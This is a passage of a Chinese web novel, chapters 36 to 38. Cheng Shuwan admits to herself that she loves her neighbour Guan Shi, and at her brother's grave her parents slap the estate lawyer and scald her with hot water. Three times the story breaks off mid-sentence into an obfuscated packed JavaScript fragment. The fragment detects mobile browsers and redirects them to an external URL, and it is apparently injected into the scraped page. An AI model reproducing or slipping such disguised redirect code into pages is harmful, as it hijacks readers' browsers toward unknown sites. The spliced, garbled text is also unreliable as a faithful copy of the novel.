都有很多朋友。 都相当信任她,虽然不知道为什么。 程舒晚越对比,就越对他们是同个人的判断坚信不疑,可一旦相信他们就是同个人,新的问题又浮现在脑海之中—— 关时,为什么要隐瞒这件事。 尴尬?他不是个会尴尬的人。 难为情?能热脸贴冷屁股的人,怎么可能。 思来想去,几个可能性都被程舒晚否决,正一头雾水,她猛然想起七年前自己的失约,以及二更天的不告而别。 他……耿耿于怀? 不,倒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364908|183889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不如说耿耿于怀的是自己。 脑子好乱。 程舒晚理不清头绪,索性都先扔到脑后,抬头,十三栋的踪影已经出现在眼前。 关时:“明天早上我们八点出门,可以吗?” 程舒晚:“嗯。” “好早啊。”关星玥苦着脸。 “开车过去要一个多小时,晚了就赶上塞车的点了。”关时一巴掌拍在关星玥脑袋顶上,被她小猫一样挥爪拍开,“顺路还要去买花。” 说到扫墓,程舒晚突然想起什么,趁着关星玥去扫门禁卡开门,抓着关时的肩膀示意他压低下来,“我父母应该明天早上也会到,早点扫完我哥的墓,你们就别跟我父母碰面了。” 她还是希望关时他们不要跟她家扯上什么关系。 程舒晚压低了声音,靠得又很近,气息吹得关时心尖泛痒,第二反应才是她所说的内容。他没问为什么要避开她的父母,只是点头,同样轻声回应:“好。” 他的应答带着似有若无的笑,短短一个字居然捎上了安抚的意味,饶是在说严肃的话题,程舒晚也忍不住意马心猿瞬间,随后立刻把他推开。 关星玥撑着门回头:“说悄悄话呐?” “来了,催催催。”关时笑着上前去,程舒晚没说话,抬脚跟上。 程舒晚回到802之后洗漱完就躺上了床,前一天没睡好,隔天又要早起,要争取多休息。虽然是这么想,但当按亮手机看见时间来到两点半的时候,程舒晚还是无语地笑出了声。 也不知道连着两天失眠,明天会不会猝死。 思绪纷扰,并不是想扔到脑后就能扔的。关时,二更天,父母,兄长……各种事情密密麻麻充斥脑海,到后半夜才因为身体撑不住有了一丝困意,而后便失去意识,一夜无梦到天明。 第二天早上几乎是以抵抗老虎凳的意志力才掀开被窝爬起来洗漱的。 两天没睡好觉,程舒晚在镜子前端详片刻,觉得自己的脸色实在没法看,这才简单化了个淡妆。换好衣服走出门的时候小小地打了个寒战,湿冷的空气像是最后一把柴火,炸了她最后的坏情绪。 烦,死,了。 程舒晚给关时发了条信息,关时很快回复:“你到一楼,我刚买早餐,上车来吃。” “你妈妈和妹妹呢?”程舒晚对关时这种一大早起来还能率先给所有人买早餐的精力感到佩服。 “我妈要磨蹭十分钟的,你先下来。” 程舒晚揣着手按了电梯按钮,等电梯的档口手机振动起来,谭婧打来电话,“要出门没?” 程舒晚闭着眼,感觉下一秒就要睡着了,怎么这妮儿也精神百倍的,“要出。” 谭婧:“我在花店,要不要帮你买花?” “你连扫墓都卷,神经啊。”程舒晚看眼时间,不过早上七点五十五,很怀疑到底什么花店这个点就开门了,“不用,我们路上买。” “我们?”谭婧反问,“你跟你父母出门?不是吧?” “我哥朋友。”程舒晚打了个哈欠走进电梯,“上次说的邻居,他们一家也要去。” “你说长得帅那个?诶,等会儿我得见见。” “你怎么就光记住这个了。那个,如果碰到我父母……” “你不用说,我知道,我会自动闭麦的。”谭婧叹了口气,“但是你要怎么办?你这么拖着回避也不是办法。” 电梯门开,程舒晚走出门去,“走一步看一步,没别的办法。” 咔哒一声,程舒晚打开防盗门。 天色微阴,绿荫道上更是一片阴影,阴影中停着一辆两眼的白色城市越野,关时站在车边靠着车门,低头喝着豆浆。他抬眼见到程舒晚,扬起手晃了一下,脸上露出个笑来。 程舒晚站在原地,恍惚一瞬。 她想起第一天搬家的时候,他也是这般站在树荫底下,却笑得仿佛能照亮所有阴霾。 电话里谭婧又发话:“没事我挂了?” “婧。”程舒晚捏着手机,喃喃地道,“我说过我不想谈恋爱对不对。” 谭婧疑惑了声,“你说过你不适合,但为什么突然提这个。” 程舒晚:“我一开始也认为我不适合当主播。” “……啊?” “我总是会因为恐惧,选择最稳妥的路。”程舒晚低下眼,暗暗笑了声,“但害怕,还是敌不过喜欢啊。” 36. 清明 程舒晚从来没想过自己会喜欢上谁,也觉得自己其实没搞懂什么是喜欢。 年少时期对未曾谋面的二更天尚且有几分悸动,但没来得及有发展就无疾而终,哪怕二更天重新出现,程舒晚在在震惊和惊喜之余产生了更多复杂的情感,但是她隐约意识到这大抵是怀念,而非男女之情。 但现在看见那道树荫下的身影,程舒晚脑子里几乎没有停顿就做出了判断。 这就是她喜欢的人,与他是不是二更天无关。 她喜欢关时。 “你在说什么意识流,”谭婧没搞懂程舒晚大清早在闹什么宣言,“我捋捋,所以你是害怕谈恋爱?怕什么?你爸妈不让?” “……话题终结者这个称号我今天让给你。”程舒晚呛道,“不跟你说了,一会见。” “诶,晚子你……” 谭婧话没说完程舒晚掐断了通话,收起手机朝关时走了过去。 “大早上就有电话?”关时从车窗伸手进去,拿了个塑料袋出来递给她,“豆浆,烧麦,蒸饺和肉包,喜欢什么自己挑。” “谢谢。”程舒晚接过塑料袋拿了个肉包,与他并肩靠在车门上,回答他的问题,“发小的电话,也要去给我哥扫墓。” “发小?男的女的?”关时看了眼,“上车吃,暖和点。” “女的。就是给咱俩拟协议的律师。”程舒晚咬了口包子,没上车,“少管。” 关时笑了声,“行。” 两人都没有说话,安静地各自解决早餐,几分钟之后单元门开了,关星玥从门后探头出来,挥了挥手,紧接着走出来的是姚婉婷。 程舒晚不自觉站直了起来。 姚婉婷五官长得亲切知性又漂亮,糅合了关星玥的明媚和关时的落落大方,穿着洋气的小碎花裙,化着精致的淡妆,看起来完全不像快六十岁的老人,这精神头就像个活泼的年轻姑娘。 “姚阿姨。”待到对方走近,程舒晚冲姚婉婷点头招呼。 “来关时,拿着——感觉你又瘦了呀程囡。”姚婉婷把提着的扫墓用的东西给关时,回头握住程舒晚的手,来回摩挲两下拍了拍,“有没有好好吃饭呀?怎么不去车里坐着,早餐吃了没?来,多吃一点啊,太瘦了。” “我吃了的。”程舒晚连忙道,姚婉婷却从关时手上多拿了一盒烧麦强硬地塞进她手里,“姚阿姨,我吃不下那么多。” “没事没事,多吃点,拿着。”她笑眯眯的,转头把其他早餐跟关星玥分掉了。程舒晚无奈地拿着那盒烧麦,看了关时一眼,这家伙还在笑。 关时把杂物放到后备箱,伸手来,“吃不下就给我。” 程舒晚顺水推舟把装烧麦和竹签的盒子塞他手上。关时接过了她的“馈赠”,拉开车门,“你坐那边,前面。” 关星玥和姚婉婷母女俩已经钻进汽车后座,程舒晚也没推辞,顺势就坐在前排副驾,系上安全带。 她总觉得有点拘谨,不自觉就看向了身边的关时。 关时今天穿的黑色大衣,虽然是基础款,但质感和版型都很好,衬得那张棱角分明的脸更显英气。细看他发型还专门打理过,比平日要更隆重些。 帅的。 “看我干什么。”关时突然笑道。 程舒晚不动声色地收回目光,“长这么一张脸不给看多可惜。” 关时:“……” 他本来骚包的话都到嘴边了,程舒晚突如其来的坦率给他打了个措手不及。 姚婉婷在后座系安全带,“夸你呢也不给点反应。” “姚女士你话真多。”关时啧了声,三两口吃掉程舒晚塞过来的烧麦,“路上除了花还要买什么?” “酒。”姚婉婷道,“你爸以前喝的那种梅酒。昨晚梦见他了,跟我哭呢,说这两年都没给他带了,想这一口……切,个大老爷们儿,我等会儿肯定要嘲笑他。” 关星玥嘻嘻地笑,“妈,你之前明明说那个牌子的酒不好买,懒得买来着。” “所以说你爹麻烦!”姚婉婷哼道。 关时:“日有所思,下一句什么来着?” 姚婉婷:“开你的车!” 程舒晚没说话,听着却微微扬起嘴角,看得出来姚阿姨和丈夫关系很好,都这么多年了,提起来也依然一副小姑娘样。 化上漂亮的妆,穿上漂亮的衣服去见他,哪怕他早已是一块经年的碑。 关时和关星玥的父亲,肯定是个很好的人。 墓园在城南近郊,有接近一个小时的车程,关星玥像个小鸟一样在后排叽叽喳喳自己学校里的趣闻,关时和姚婉婷时不时应和,其乐融融。程舒晚本来想在车上补一会觉,却没舍得睡,歪头听这家人的相处,有点新奇和羡慕。 “我们这学期的新班主太不讨喜了,”关星玥不知道哪句提到班主任,气鼓鼓地如数家珍,“那老太太心眼小得跟石子儿似的,上课打瞌睡罚站一周,作业没做罚抄,还暗戳戳渗透班干部作班级眼线,鼓励举报!” “你同桌不就是历史课代表?”姚婉婷道,关星玥的新班主任教历史。 “对呀,我同桌根本没理她!”关星玥哼哼,“他说……” 她说到这里停了停,高涨的情绪突然回落,整个人跟蔫儿了似的缩进座椅里。 姚婉婷:“说什么了?” “我同桌说还是恒哥好。”关星玥闷闷道,“程老师还在那会儿,对我们真的都很好,我也有点想他了。程老师那么好的人,为什么会选择……” 关时:“玥玥。” 这一声打断了关星玥的话,她哑然片刻,嘀咕了声:“对不起程姐姐,当我没说话。” “没事。”程舒晚说。 游戏中,当人物发育环境恶劣,敌我实力过于悬殊的时候,最容易按下投降键,不是所有人都能熬到翻盘,谁也不知道能不能翻盘。 程舒恒没有熬过去,仅此而已,她早就接受他已经投降结束比赛的结局。 到达墓园已经早上九点多了,一大早来扫墓的人也不在少数,关时转了两圈才找到个停车位。姚婉婷和关星玥先去兄妹俩父亲的墓碑做清扫,关时执意要陪程舒晚先去扫程舒恒的墓,她没拒绝。 “我发小应该先到了。”程舒晚说,“她很好相处,你别说奇怪的话就行。” 关时抱着花,“我哪里奇怪。” 程舒晚侧目看他半晌,嗯了声,“你不说话的时候就一点不奇怪。” 关时嗤了声,但瞧出来她兴致不太高便没有回嘴,但程舒晚还是听见他小声嘀咕了句:“你自己说话也像个喷子。” 程舒晚:“……” 她当做没听见。 两人一路到程舒恒的墓碑近处,碑前站着个人,却不是谭婧,而是个穿着黑色西装的男人。 关时:“你发小不是姑娘么?” “那个不是她。”程舒晚也有点奇怪,但碑前的人看着眼熟。 那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364909|183889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人一身合身的黑色西装,身姿挺直,头发梳得一丝不苟。他察觉到有人走近,半转过身,是个青年人的面庞,端正的五官兜着理性和沉稳,只是鼻梁上架着略显呆板的黑框眼镜多了些书卷气,将整个人的气质揉得柔软几分。 程舒晚认出他来了。 “程小姐。”他冲程舒晚打招呼,又对关时点头,“你好。” “哦,你好。”关时自来熟一笑,不动声色往前一步,将那青年人放在程舒晚身上的视线阻隔开,低头问她,“认识?” “嗯,介绍一下。”关时靠得有点近,程舒晚不得不伸手把他往旁边推了推,“周嘉安,周律师,程舒恒的遗嘱执行人。” 程舒恒立了遗嘱,仔细写明死后遗留财产的分配,包括留给程舒晚的802房,都是周嘉安这个执行人参与办理手续、与她对接的,所以也算是熟人。 “关时,”她又朝周嘉安指了指关时,“我朋友。” 关时闻言微微愣了愣,下一秒,一种很满的情绪唰地充盈了整个脑壳。 程舒晚对他的介绍不是“我哥的朋友”,而是“我朋友”。 是程舒晚的朋友。 这句认可让关时一下子爆棚,挺直腰杆,连对周嘉安的敌意也降低到安全范围,立刻露出笑容开启社交模式:“原来都是朋友啊,幸会幸会。我还不认识什么律师朋友呢,加个微信?” 程舒晚奇怪地看他一眼。 周嘉安跟关时握了一下手,“没问题。我主要负责民事案件诉讼,如果有离婚官司可以找我。” 关时:“……啊,希望我用不上。” 周嘉安:“开个玩笑,其实财务纠纷也能找我。” 这边三言两语就社交上了,程舒晚没说话,走到程舒恒的墓碑前。 墓碑已经被擦去灰尘,还放着两束不一样的花,一束应该是周嘉安的,那另一束就是…… “我刚洗完抹布你就来了,早知道多等一会儿,活都留给你干。”人未至,声先行,程舒晚刚扭头,谭婧那利落的姑娘风风火火地就走了来,将洗好的布搭在一旁,直起身来还想说什么,目光突然被关时吸引过去。 关时注意到谭婧的目光,从社交中回眸来,笑着跟她打了招呼,“你好。” 谭婧盯着他啊了声,抓着程舒晚的肩膀往旁边拽过去。 她压低声音:“你那个邻居?” 程舒晚被扯得踉跄:“对……起开,压我头发了。” 谭婧:“你的意思是,面对这张脸,你还在犹豫谈不谈?” 程舒晚:“不是脸的事。” 谭婧:“我同意这门亲事哈。” 程舒晚:“边儿去。” 她揍了谭婧一下,谭婧躲开,回头对关时摆摆手:“我们家晚子受你关照咯,能感化这妮儿吃了不少苦吧,辛苦啊。” 程舒晚:“你他妈……” 关时和气莞尔回应,“应该的。” 程舒晚指着他:“你也闭嘴。” 闹了两句,程舒晚头疼地揉揉脑门,后知后觉周嘉安被晾在了一边,于是对他道:“见笑。这位我介绍一下……” “谭婧律师,我认识。”周嘉安点点头,“我们一起打过官司。” “这么巧?”关时笑了,“合作?” “不,打的是同一场。”谭婧补充,“离婚官司,他是原告方,我是被告方。” “……”程舒晚突然不知道如何继续介绍下去了。 37. 闹剧 “那还……”程舒晚咬咬舌尖,“真巧啊。” 关时:“这话我说过了。” 程舒晚:“我知道。但我找不到其他话说。” “瞧你那样!”谭婧被程舒晚的表情逗笑了,“工作需要罢了,又不是血海深仇,安啦安啦。” “我很钦佩谭律师的言辞和敏锐,”周嘉安谦虚道,“我很久没遇见能在庭上把我逼迫到所有准备都用完才胜诉的律师了,确实惊险。” “用你强调我输了?”谭婧像被踩到痛处似的反问,“这不是自夸吗周嘉安?” 周嘉安翩然莞尔,“你只是输在当事人。” “嚯,我那当事人纯粹就是个……咳咳,好了,不蛐蛐,就此打住。”谭婧叹了口气,转换话题,“当初要是知道你是恒哥的执行人,就该一起喝杯咖啡,不过今天也不迟——你不是说有话要跟晚子说?诺,人现在在呢。” 周嘉安点头,看向程舒晚,沉稳的五官流露出一丝犹豫。 程舒晚看着他。 关时漫不经心垂着眼皮,竖起耳朵等他的下文。 “舒晚小姐,”周嘉安下定决心似的,微微鞠了个躬,“我欠你和叔叔阿姨一个正式的道歉。” 程舒晚轻轻“啊”了声,没接话。 “我之前没做自我介绍,其实我是舒恒师兄的大学学生会部员,认识了很多年。”周嘉安望向墓碑,“平时我们常聊各自专业,他对法学很感兴趣。上次我们聊到财产相关的法律问题,提到了遗产。” 墓碑前一时间安静下来。 “过了一阵,舒恒突然写了份遗嘱让我看看,我当时吓了一跳,反问他干什么,他只说写着玩,我也没重视。”周嘉安拧着眉,有些不安和追悔,“如果当初我能注意到舒恒的状态,能多劝劝,或者没提起过那个话题,或许现在他不会是这个结局。舒晚小姐,对不起。” 关时本来还防备着周嘉安讲什么挖墙脚的话,没想到听到的是这么一大段关于程舒恒的“忏悔”,心情也跟着沉了沉,悄摸瞄向程舒晚。 程舒晚望着墓碑上程舒恒的照片,没有吱声。 照片上的程舒恒约莫三十二三的年纪,五官端正立体,帅气又柔和,带着有些腼腆的笑意。 兄长比她不知道好相处多少倍。 他乐观温柔,只是有点胆怯懦弱,这无伤大雅,前年他还刚刚评定了高级职称,优秀教师,在同事中风评很好,也深受学生爱戴。 他一直都很受别人喜欢。 除了自己的家人。 “别道歉,周律师。”程舒晚轻声开口,“你不必揽下他的命运。” 最应该为兄长的死亡负责的,不是其他人。 周嘉安还想说什么,尚未开口就被程舒晚摆摆手打断,“你的道歉我不接受,因为你没有任何地方有错。不过,谢谢你能成为他的朋友,在那段时间给他支持。” 周嘉安:“不,我什么都没做……” “好了,这个话题到此为止吧。”程舒晚笑了笑,弯腰把花束放到程舒恒的墓碑跟前。周嘉安仍然拧着眉,显然还有些自我责备,但也没再说话。 关时跟着程舒晚一块儿把花束放下,两人站在碑前静默片刻。 程舒晚想起什么,问关时:“玥玥还要过来吗?” 关时:“等祭拜完我爸,我们再一起过来。” “那你先回去吧,我父母大概快到了。”程舒晚不想让关时碰到蒋慧玲和程国鑫他俩。 关时嗯了声,却没动,“舒晚。” 程舒晚:“还有什么?” “还有一句。”关时微微弯腰,垂下眼眸,用只有两人听得清的声音轻声开口,“你也不必揽下舒恒的命运。” 他的目光温和柔软,仿佛冬日流淌在指尖的暖阳,不经意间一碰,能融化浑身经久不散的冷意。 妥帖得让人热泪盈眶。 程舒晚深吸一口气,险险将鼻腔的酸涩憋了回去,但一时半会儿说不出话,只能伸手推他让他赶快滚。 狗男人安慰人一套一套的,真是要命。 “那我等会儿过来。”关时微微笑着,跟三人打了招呼转身准备离开。 程舒晚揉了揉鼻子,扭头对谭婧道:“婧,差不多的话你跟周律也去别的地方逛逛。” 周嘉安微怔,婉拒:“舒晚小姐,我就不走了,既然来了还是跟你父母见一下。” “不了吧。”程舒晚道,“你领教过他们的。” 谭婧在旁眨眨眼,“领教过什么?” 程舒晚:“他们排斥周律。” 谭婧望向周嘉安,他颔首承认,“丧子之痛,情绪失控些很正常。” “怪不得你要道那个歉……”谭婧嘀咕,“周嘉安,说实话我也建议你不要跟他们碰着。” 周嘉安有些疑惑地看着她们,程舒晚正考虑要从什么地方开始解释,余光望见不远处的关时停下脚步,不由得也看了过去。 随后僵了僵。 墓园建在城郊的山丘上,长眠者们的墓碑一排排宛如梯田排布,由从山脚通到山顶的台阶楼梯上下。就在程舒恒的墓碑去往台阶的必经之路,也就是关时站着的地儿,迎面走来两道熟悉的身影。 程舒晚的父母,蒋慧玲,程国鑫。 说曹操曹操到。 关时在葬礼上远远见过他俩,本想打声招呼,但没忘记程舒晚的态度,于是回头扫她一眼。程舒晚站得像跟绷紧的弦,目光紧紧贴在父母身上,有些紧张——她很少这副样子。 关时决定先留下来看看情况。 程国鑫年近六十,头发半白,从五官能看出来年轻时也是帅哥,但眉毛和嘴角都压得很低,板着沉默寡言的脸,眼睛在几个小辈身上阅兵似的扫过,最后定格在周嘉安脸上。 而蒋慧玲看到程舒晚时表情亮了一下,但同样在看到周嘉安之后瞬间黑了下去。 两人走到程舒恒墓碑前,将东西放下。周嘉安上前两步,礼貌开口:“叔叔,阿姨,你们好,我是周嘉安周律师,你们应该还记得我。” 程国鑫和蒋慧玲都没有说话,只是自顾自把祭拜的纸钱和吃食从包里拿出来,看都不看,就这么把周嘉安晾在一边。 周嘉安有点尴尬,往后瞄了程舒晚一眼,程舒晚做了个让他走的手势。 就在这时,蒋慧玲站直起来,瞥向周嘉安,凉淡道:“记得。” 周嘉安:“您记得就……” “你来干什么。”蒋慧玲没给他说话的机会。 “我来给舒恒师兄扫墓。”周嘉安道,“既然来了,还是跟你们说一声。” 蒋慧玲像是听到什么笑话似的冷笑了声偏过头,盯着程舒恒墓碑上的照片。 “你还敢来。”她喃喃。 周嘉安没听清,还想再问清楚的时候,蒋慧玲毫无征兆地,一巴掌对着他的脸扇过去。 啪的一声。 所有人都没反应过来,周嘉安后退两步,眼镜也被这一巴掌打歪了,一边扶正,一边略有震惊地看向蒋慧玲。 “我说你还敢来!”蒋慧玲嘶声尖叫,扬起手就要下去第二个耳光,好在离得近的程舒晚和谭婧眼疾手快,一下子拦住,关时也三两步冲过来,拽着蒋慧玲往后拉。 蒋慧玲却红了眼,像是面对什么十恶不赦的仇人一样,就算被拉着也捏着拳头往周嘉安方向挥舞,“你这个冷心冷肺的魔鬼!你就是要钱!什么遗嘱,我儿子才不会写那种东西!是你!肯定是你!” 周嘉安没预料到会出现这种状况,“阿姨,您……” “周嘉安你先别说话。”谭婧把他拉到一旁去,“所以我才说不建议碰面,你猜恒哥为什么自杀?” 蒋慧玲的力气居然还挺大,关时勉强拽住,另一边程舒晚摁着她的手,被她闹得也来了脾气:“你闹够没有!” “我闹?你说我闹?”蒋慧玲瞬间调转矛头指向程舒晚,“是你叫他来的吧?故意气我们给下马威?翅膀硬了合伙外人欺负爸妈是吧!我养你这么大,就这么对我们哪!白眼狼!” 谭婧:“阿姨,话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364910|183889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是这么说……” “你也是!”蒋慧玲跟个扫射的机关枪一样,在场谁都逃不过挨枪子儿的命运,“我当初是看你成绩好,又乖,才让舒晚跟你一起学习!你只顾自己高就,放任她打游戏堕落,你不安好心!” 谭婧:“……” “你!就你!”蒋慧玲的目光最后还是回到周嘉安身上,不顾阻拦挣扎着过去,“就你!你害死我儿子!还敢出现!” 场面一度混乱不堪,但还有一个人慢慢悠悠——程国鑫蹲在地上,仿佛局外人一般冷眼看着自己的妻子大闹,低下头,在地上的背包翻了翻,从侧边抽出一个保温水壶。 他站起身,拿着水壶,往混乱的战局中心走来,拧开了盖子。水壶里装的大概是八九十度的热水,水蒸气带着让人避让三尺的温度,争先恐后地从壶口冒出来。 他扬起手。 “喂!”最先发现的是关时,在市井打交道的他一下子就知道程国鑫要干什么,伸手去夺水壶,但已经来不及了,滚烫的热水朝周嘉安泼了过去。 哗啦几声。 热水最终没有落在周嘉安身上,电光火石之间,程舒晚发动了高手玩家的反应能力,一步横跨挡在周嘉安面前。她站得距离程国鑫很近,热水基本泼在她的身上,打湿了大半边衣服和裸露在外的手。 热水接触到皮肤的第一时间是没有感觉的,但下个瞬间,刀刺般的刺痛和滚烫在顷刻尖叫着从每一个毛孔往身体里钻,唯独脑袋缺血似的冰凉。程舒晚脸刷地惨白,花了九牛二虎之力才把惨叫憋在唇齿间,一声不吭地抬起头,红着眼盯住显然也愣了的父亲。 周嘉安立刻把程国鑫和程舒晚拉开,谭婧也扑了过来查看程舒晚的伤情,终于没忍住朝程国鑫道:“叔!你有病吗!” 蒋慧玲也呆愣了,回头一巴掌扇在程国鑫手臂上,怒吼:“没看见这么多人吗你就泼!晚晚,你怎么样……” 她想上前来,程舒晚烦透了,指着她:“你给我站着,别过来。” “晚晚!别这么跟妈说话!”蒋慧玲条件反射地斥责一声,随后意识到不是说这话的时候,又软下表情执意要上前来。但还没挨着程舒晚,突然被另一股力道拨开,往旁踉跄两步。 程舒晚还瞪着程国鑫,视线突然被高大的身影阻隔,关时站在她跟前,用身子挡在程舒晚和父母之间,半拢着她,轻轻捏住她的衣袖提起,没有碰到手。 程舒晚的目光转移到他脸上,直勾勾瞪着。 “走,”关时道,“我带你去冲冷水。” 蒋慧玲听见了,一把抓住关时:“喂,你又是谁,要对我女儿做什么?” 关时毫无耐心,甩开她的手,冷冷地瞥她一眼,“滚开。” “你这什么态度!”蒋慧玲大喊,但关时的眼神和表情让她察觉到危险,于是扭头喊丈夫,“老程!你过来看看你女儿交的什么朋友!” 程国鑫脸色不怎么好看,他眼神跟关时一碰,发觉似乎自己的气势也不怎么能压得住这个年轻人,而且他作为动手伤人的还理亏,最后只嗤了声,避开关时,指着程舒晚道:“你要是早点回家跟我们一起过来就没这事了。知道痛了吧,知道了就别那么放肆,每次都非要挨教训才听话。” 关时闻言额角青筋都鼓了鼓。 女儿都烫伤了,作为父母,他们最在意的居然还是自己的脸面。 虽然早些对程舒晚的父母有所猜测,但今日一见,关时还是忍不住感到荒谬,刚要开口,程舒晚突然拽了下他的衣服。他回过头,程舒晚苍白的脸上没有表情,仿佛刚才那些打压之言的对象不是她一般,目光静静地定在父母身上。 寂静得充满攻击性。 “说完了是吧。”程舒晚道,声音没有一点起伏,“闹够了的话,我也说点?” “我为什么不回家,你们一点自觉都没有?”她突然笑了一声,笑声刺耳,“或者我再问一句,你们是不是宁愿程舒恒是走在路上突然被卡车撞死,都不愿意承认你们引以为傲的教育才是杀死他的元凶?” 38. 眼泪 “你他妈的说什么!”程国鑫怒吼一声就扬起巴掌来。 “我说你们要是对他有一丝一毫的愧疚心,就不该在这里闹。”程舒晚冷言冷语,面对父亲的巴掌不闪不避,“要打我?打啊,你不是就会干这事儿吗?程舒恒怕你我可不怕,来,水没泼到脸上没烫着,留给你打,打啊!” 程国鑫脸色一阵红白,颤抖着手指着她,连说三声“好”,巴掌就落了下来。 关时眼中闪过戾色,往前一步挡在程舒晚面前:“干什么?” “老程!”电光火石之间,蒋慧玲终于猛然醒悟一般,抓着程国鑫的胳膊把他拦了下来,“泼着是意外,别真动手。” 程国鑫瞪着她,“教训孩子天经地义!” 蒋慧玲低声:“你真不怕过两年她不养你了!” 程国鑫愤怒的脸陡然僵住,片刻之后放下了手,指着程舒晚,“你等着的吧,你老子我还治不了你。” “好了别说了。”蒋慧玲可谓是收放自如,也不知道真的怕闹得狠了程舒晚就这么断绝关系,还是只单纯被关时的眼神震慑到,这会儿又唱起白脸来,“晚晚,你爸就是一时生气,你看看你刚才的话多难听,来,道个歉,有什么事回家再说。” “说个屁。”程舒晚冷笑,“既然今天都闹成这样了,索性我就摊开来说——你们养我养程舒恒二十多年,我会把他的份一起连本带息还给你们,这是我最后能做的事,想其乐融融过什么家家酒还是免了,我恶心。” “你……”蒋慧玲没想到程舒晚会说出这样的话,眼睛又红了,嘴角颤抖着往下坠落,“白眼狼……你个白眼狼……” 程舒晚似笑非笑地瞪着蒋慧玲,算是默认了。 对,她程舒晚就是白眼狼。 闹剧告一段落,周嘉安凑过来,看了看程舒晚被烫着的手,皱着眉头,“抱歉,是我的错,我车上有急救包,带你去处理一下。” “别有压力,这种事谁也不想。”关时对周嘉安粲然笑道,“道歉的话一会再说,也不劳烦了,我带她去冲凉水。” 周嘉安对上关时的视线,明白了什么,点头道:“那好,你带她去,我去拿急救包。” 谭婧诶了声,“周嘉安,我跟你去。” 三人几句话就分配好行动,谁都不想留在这里看蒋慧玲和程国鑫的脸色。关时拉程舒晚离开,第一下居然没拽动,她仍瞪着父母,没被烫伤的手攥得紧紧的。 “舒晚。”关时喊她,见她没有反应,只能叹口气,轻轻握住她攥紧的手,安抚地搓了搓。 “听话,好吗?”他柔声道。 程舒晚从小到大听得最多的就是“要听话”,她本能地厌恶做个听话的人,但这两个字从关时嘴里说出来却不似命令,更像是……撒娇。 程舒晚沉默片刻,攥紧的手终于松开,任由关时握住手心。 “走了。”他道。 “程舒晚!”蒋慧玲对他们的背影喊道,“你别以为你不用为那些话付出代价!我告诉你!父母子女的至亲血缘!没有那么容易就能斩断!” 清明的天气总不那么好,天色阴阴,随时都会下雨的模样,吹来的风夹杂着湿冷。程舒晚穿的是毛衣,好在毛衣足够厚阻隔了程国鑫泼的热水,身上倒是没烫着,但湿透的毛衣冷却下来之后,被风一吹,寒意直往身体里钻。 她捂了捂身子,眼前突然暗下来,随后肩上一沉,带着体温的风衣被披到身上。 “还冷吗?”关时问。 程舒晚摇摇头,攥了攥风衣。 关时:“手疼吗?” 被他这么一说,程舒晚后知后觉手上烫伤的地方针扎一般痛起来,抿唇点头。 关时叹了口气,“你这姑娘,够倔的。” 墓园的公厕整得挺豪华,光洁的瓷砖地面,干净整洁,角落还放着绿植和香薰。洗手池在公共区域,关时打开水龙头,拉过程舒晚烫伤的手放流水底下冲,她的手又白又细,已经被烫红一片,万幸没有起泡,之后应该不会有大碍。 “看上去不会留疤。”关时见程舒晚仍然一言不发,于是自顾自絮叨活跃气氛来,“你说你,拦什么呢,大男人皮糙肉厚烫着就烫着了,你的手是吃饭的家伙什,伤着碰着,打不出操作了怎么办。” 程舒晚低着眉眼,一动不动地盯着水流,方才那副气势汹汹冷然嘲讽的派头消失得无影无踪,像是蓝条耗尽的游戏人物,拖着残躯茫然地站在草丛里。 随后,两颗剔透的泪珠从她眼眶滚落,掉进水池里。 她就站在那,面无表情地哭了。 关时愣了,他第一次见程舒晚掉眼泪,“手很,很疼吗?” 程舒晚没有反应,只有眼泪跟断线的珠子一样不断滚落出来。 关时哑然片刻,平日里那张能说会道的嘴现在什么都说不出来,他见过不少掉小珍珠的女孩儿,都能哄得对方收声,可如果哭泣的对象换成关星玥就会哑火。 他最是不知道自家姑娘哭该怎么办,而现在,程舒晚也在这个范围之内。 他暗暗苦笑,最后只能抬手在程舒晚脑袋上安抚地揉了揉,“那……疼就哭吧。” 下一秒,程舒晚的脑袋一歪,直接抵在他的肩膀上。 关时:“……” 程舒晚抵得很克制,先是把空余的手搭在他肩头,又把额头和眼睛按在自己手背上,没让眼泪弄湿他的衣服。 但关时显然把自己的CPU给烧掉了,震惊之余,脑子里只闪过一个想法。 程舒晚身上有一种带着杉木和雪原的冷香,很好闻。 ……等下!不对啦! 太近了! 他没有准备好! 关时在脑子里叮铃哐啷了两秒,终于回过神来,意识到自己该说点什么,舌尖抵着牙关好半晌,最后说了句:“你哭怎么没点动静。” 光落雨不打雷,他都怀疑她有没有呼吸。 程舒晚捏拳锤他一下表示此人说话够贱。 关时无奈笑着揉揉她的头发,“没事儿,有我在。” 